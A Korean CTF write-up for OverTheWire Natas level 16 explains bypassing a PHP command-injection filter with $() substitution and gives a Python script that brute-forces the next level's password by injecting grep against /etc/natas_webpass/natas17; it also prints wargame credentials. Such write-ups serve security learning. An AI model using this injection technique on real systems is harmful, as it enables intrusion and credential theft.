Level 15 → Level 16
Web/Natas

Level 15 → Level 16

반응형


필터링을 적용했다고 하는데 소스를 보고 어떤 문자들이 필터링되는지 살펴봅시다.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

preg_match 함수의 인자에 적힌 // 안에 있는 값들이 바로 필터링되는 글자입니다.

[] 안에 있으므로 내부에 있는 각 글자 하나하나 각자를 보게 됩니다.

;  |  & -> 명령어 여러 개 쓰기 금지

` -> ` 내부의 명령어 실행 금지

\(역슬래시) -> 문자 취급 금지

'  " -> 묶기 금지

 

그러니까 한마디로 중간에 명령어를 아무것도 못쓰게 막아놓은 것입니다.

하지만 필터링의 강력한 적인 "우회"를 이용한다면 아무것도 못하게 되겠죠?

그중에서도 저는 찾던 도중에 `(백쿼터)를 $()으로 우회할 수 있다는 사실을 발견했습니다.

 

그래서

$(grep ^(찾을 단어) /etc/natas_webpass/natas17)Africans

*Africans 는 딱 하나 dictionary.txt에 존재하는 단어*

로 넘겨줄 인자를 정했습니다.

만약 $()이 실행되어서 값이 나온다면 '(한 단어)+Africans'는 존재하지 않기 때문에

Africans이 결괏값으로 나왔는지 안 나왔는지만 검사하면 됩니다.

 

[natas16.py]

'''
NATAS16
'''
import requests, string

url = 'http://natas16.natas.labs.overthewire.org/index.php'
auth_uname = 'natas16'
auth_passwd = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'

# Find Characters set
# characters='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
characters = ''.join([string.ascii_letters,string.digits])
password = ''

for i in range(32):
    for char in characters:
        # Build the GET request
        uri = ''.join([url,'?','needle=$(grep ^',password,char,' /etc/natas_webpass/natas17)Americans','&submit=Search'])
        #
        print(uri)
        r = requests.get(uri, auth=(auth_uname,auth_passwd))

        if 'Americans' not in r.text:
            password += char
            print(f'Password: {password}')

 

다음으로 가보죠.

 

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

반응형